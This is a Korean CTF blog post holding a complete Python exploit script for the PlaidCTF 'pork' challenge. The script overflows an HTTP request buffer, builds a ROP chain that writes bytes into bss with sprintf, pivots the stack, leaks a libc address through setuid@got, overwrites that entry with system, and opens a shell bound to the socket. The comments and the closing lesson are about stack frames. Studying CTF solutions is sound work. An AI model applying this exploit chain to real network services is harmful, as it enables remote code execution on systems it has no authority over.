본문 바로가기

CTF/Plaid CTF

[pCTF] pork

from Sanguine import *
 
 
bss=0x0804ad15   #bss+15
 
_404_str=0x08049ac2
_not_found_str=0x08049ab8
 
fd = 4
read_plt=0x0804893c
write_plt=0x080488fc
sprintf_plt=0x0804887c
exit_plt=0x08048aac
 
 
#strcmp leak하면 __strcmp_sse4_2 주소가 저장되기 때문에 setuid 해야 offset 맞아 떨어진다.
setuid_plt=0x080489ac
setuid_got=0x0804acb4
setuid_offset=0x000bb6c0
 
system_offset=0x00041260
 
pppr=0x080499a6
ppr=pppr+1
pop_ebp_ret=0x08048b43
lr=0x804886a
 
shell_cmd="/bin/sh 0<&"+str(fd)+" 1>&"+str(fd)+"\x00"
 
pre_dummy=len("<html><title>404 Not found</title><body><h1>Not found</h1>\r\n<p>Could not find DNS entry for ")
 
buf_to_ret_offset=0x45c
 
 
# p(read_plt) + p(pppr) + p(fd) + p(bss+0x14) + p(0x300)
# 3c890408 a6990408 04000000 3dad0408 00030000
_3c_byte=0x080484c0
_89_byte=0x0804990f
_08_byte=0x080492fc
_a6_byte=0x080491db
_99_byte=0x0804ab9d
_29_byte=0x08048370
_ad_byte=0x080482f0
_04_byte=0x08048b9d
_03_byte=0x080481c0
 
 
print "[+] exploit start"
print "[+] stage 1"
s=makeCon("192.168.236.162",33227)
 
 
payload = ""
payload += "a" * (buf_to_ret_offset - pre_dummy)
payload += p(pppr)
payload += "a" * 4
payload += p(_404_str)
payload += p(_not_found_str)
 
#write read operate in bss
payload += p(sprintf_plt) + p(ppr) + p(bss) + p(_3c_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+1) + p(_89_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+2) + p(_04_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+3) + p(_08_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+4) + p(_a6_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+5) + p(_99_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+6) + p(_04_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+7) + p(_08_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+10) + p(_04_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+9) + p(_04_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+8) + p(_04_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+12) + p(_29_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+13) + p(_ad_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+14) + p(_04_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+15) + p(_08_byte)
payload += p(sprintf_plt) + p(ppr) + p(bss+17) + p(_03_byte)
 
payload += p(pop_ebp_ret) + p(bss-4)  #fake ebp - esp move bss 
payload += p(lr) 
 
 
#bss 에다가  cmd 줫더니 에러가 난다.
#do_system에서 bss영역을 덮어씌워서 에러..
#그러므로 현재 system 실행될때의 esp보다  높은 주소에 cmd 위치시켜야 한다.
 
payload_bss = ""
payload_bss += p(write_plt) + p(pppr) + p(fd) + p(setuid_got) + p(4) 
payload_bss += p(read_plt) + p(pppr) + p(fd) + p(setuid_got) + p(4) 
payload_bss += p(read_plt) + p(pppr) + p(fd) + p(bss+0x100) + p(len(shell_cmd))  
payload_bss += p(setuid_plt) + p(exit_plt) + p(bss+0x100) 
 
print "[+] send payload"
s.send("GET http://"+payload+" aaaaaaa")
sleep(1)
s.send("\r\n")
sleep(1)
 
print "[+] send bss payload"
s.send(payload_bss)
sleep(1)
 
print "[+] system offset calc"
setuid_libc=up(s.recv(4))
baseaddr=setuid_libc-setuid_offset
system_libc=baseaddr+system_offset
 
print "[+] gotoverwrite system@libc to setuid@got"
s.send(p(system_libc))
sleep(1)
print "[+] write command for system argv"
s.send(shell_cmd)
 
print "[+] get shell"
makeShell(s)
 
 
s.close()

느낀점 : bss영역에 payload를 구성할때, 부르는 함수에서 사용하는 스택프레임도 고려해야한다.